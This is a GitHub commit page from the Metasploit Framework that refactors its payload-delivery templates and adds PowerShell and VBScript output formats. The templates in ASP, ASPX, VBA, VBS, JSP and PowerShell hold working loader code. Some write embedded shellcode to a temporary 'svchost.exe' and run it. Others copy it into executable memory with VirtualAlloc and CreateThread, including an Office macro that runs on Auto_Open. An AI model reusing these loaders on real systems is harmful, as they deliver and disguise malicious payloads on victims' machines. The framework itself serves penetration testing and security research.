Skip to content

Commit bb5f71e

Browse files
author
root
committed
Merge branch 'exe-template-refactor' of https://github.com/shellster/metasploit-framework into exe-template-refactor
2 parents 7121a94 + 0a6ac04 commit bb5f71e

File tree

14 files changed

+217
-201
lines changed

14 files changed

+217
-201
lines changed

data/templates/scripts/to_exe_asp.asp.template renamed to data/templates/scripts/to_exe.asp.template

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
1-
<%
1+
<%% @language="VBScript" %%>
2+
<%%
23
Sub %{var_func}()
3-
%{var_bytes}=Chr(%{exe[0]})%{var_shellcode}
4+
%{var_shellcode}
45
Dim %{var_obj}
56
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
67
Dim %{var_stream}
@@ -20,4 +21,4 @@
2021
End Sub
2122

2223
%{var_func}
23-
%>
24+
%%>

data/templates/scripts/to_exe_aspx.aspx.template renamed to data/templates/scripts/to_exe.aspx.template

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,9 @@
1-
<%@ Page Language="C#" AutoEventWireup="true" %>
2-
<%@ Import Namespace="System.IO" %>
1+
<%%@ Page Language="C#" AutoEventWireup="true" %%>
2+
<%%@ Import Namespace="System.IO" %%>
33
<script runat="server">
44
protected void Page_Load(object sender, EventArgs e)
55
{
6-
StringBuilder %{var_file} = new StringBuilder();
7-
%{var_file}.Append("\x%{exe[0].to_s(16)}%{shellcode}");
6+
%{shellcode}
87
string %{var_tempdir} = Path.GetTempPath();
98
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
109
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
@@ -15,10 +14,7 @@
1514

1615
try
1716
{
18-
foreach (char %{var_iterator} in %{var_file}.ToString())
19-
{
20-
fs.WriteByte(Convert.ToByte(%{var_iterator}));
21-
}
17+
fs.Write(%{var_file}, 0, %{var_file}.Length);
2218
}
2319
finally
2420
{

data/templates/scripts/to_exe_vba.vb.template renamed to data/templates/scripts/to_exe.vba.template

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -43,14 +43,14 @@ Sub %{func_name1}()
4343
%{var_index} = 1
4444
While (%{var_index} < Len(%{var_stemp}))
4545
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
46-
#Put %{var_fhand}, , %{var_btemp}
46+
Put #%{var_fhand}, , %{var_btemp}
4747
%{var_index} = %{var_index} + 4
4848
Wend
4949
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
5050
%{var_gotmagic} = True
5151
End If
5252
Next
53-
Close %{var_fhand}
53+
Close #%{var_fhand}
5454
%{func_name2}(%{var_fname})
5555
End Sub
5656

@@ -77,4 +77,5 @@ End Sub
7777
'*
7878
'**************************************************************
7979

80-
%{var_magic}%{data}
80+
%{var_magic}
81+
%{data}

data/templates/scripts/to_exe_vbs.vb.template renamed to data/templates/scripts/to_exe.vbs.template

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
Function %{var_func}()
2-
%{var_bytes}=Chr(%{exe[0]})%{var_shellcode}
2+
%{var_shellcode}
33

44
Dim %{var_obj}
55
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")

data/templates/scripts/to_jsp_war.war.template renamed to data/templates/scripts/to_exe_jsp.war.template

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
<%@ page import="java.io.*" %>
2-
<%
1+
<%%@ page import="java.io.*" %%>
2+
<%%
33
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
44
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
55
String %{var_data} = "";
@@ -46,4 +46,4 @@
4646
{
4747
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
4848
}
49-
%>
49+
%%>

data/templates/scripts/to_vba.vb.template renamed to data/templates/scripts/to_mem.vba.template

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ Sub Auto_Open()
1515
#Else
1616
Dim %{var_rwxpage} As Long, %{var_res} As Long
1717
#EndIf
18-
%{var_myArray} = Array(%{bytes})
18+
%{bytes}
1919
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
2020
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
2121
%{var_myByte} = %{var_myArray}(%{var_offset})

data/templates/scripts/to_win32pe_psh_net.ps1.template renamed to data/templates/scripts/to_mem_dotnet.ps1.template

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ $%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].A
2020
$%{var_compileParams}.GenerateInMemory = $True
2121
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
2222

23-
[Byte[]]$%{var_code} = 0x%{code[0].to_s(16)}%{shellcode}
23+
%{shellcode}
2424

2525
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
2626
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
$%{var_syscode} = @"
2+
[DllImport("kernel32.dll")]
3+
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
4+
[DllImport("kernel32.dll")]
5+
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
6+
[DllImport("msvcrt.dll")]
7+
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
8+
"@
9+
10+
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
11+
12+
%{shellcode}
13+
14+
$%{var_size} = 0x1000
15+
16+
if ($%{var_code}.Length -gt 0x1000) {
17+
$%{var_size} = $%{var_code}.Length
18+
}
19+
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40)
20+
21+
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
22+
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1)
23+
}
24+
25+
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
26+

data/templates/scripts/to_win32pe_psh.ps1.template

Lines changed: 0 additions & 19 deletions
This file was deleted.

lib/msf/base/simple/buffer.rb

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ module Buffer
1616

1717
#
1818
# Serializes a buffer to a provided format. The formats supported are raw,
19-
# ruby, perl, bash, c, js_be, js_le and java
19+
# ruby, perl, bash, c, js_be, js_le, java and psh
2020
#
2121
def self.transform(buf, fmt = "ruby")
2222
case fmt
@@ -39,6 +39,12 @@ def self.transform(buf, fmt = "ruby")
3939
buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE)
4040
when 'java'
4141
buf = Rex::Text.to_java(buf)
42+
when 'powershell', 'ps1'
43+
buf = Rex::Text.to_powershell(buf)
44+
when 'vbscript'
45+
buf = Rex::Text.to_vbscript(buf)
46+
when 'vbapplication'
47+
buf = Rex::Text.to_vbapplication(buf)
4248
else
4349
raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
4450
end
@@ -78,7 +84,20 @@ def self.comment(buf, fmt = "ruby")
7884
# Returns the list of supported formats
7985
#
8086
def self.transform_formats
81-
['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py']
87+
['raw',
88+
'ruby','rb',
89+
'perl','pl',
90+
'bash','sh',
91+
'c',
92+
'csharp',
93+
'js_be',
94+
'js_le',
95+
'java',
96+
'python','py',
97+
'powershell','ps1',
98+
'vbscript',
99+
'vbapplication'
100+
]
82101
end
83102

84103
end

0 commit comments

Comments
 (0)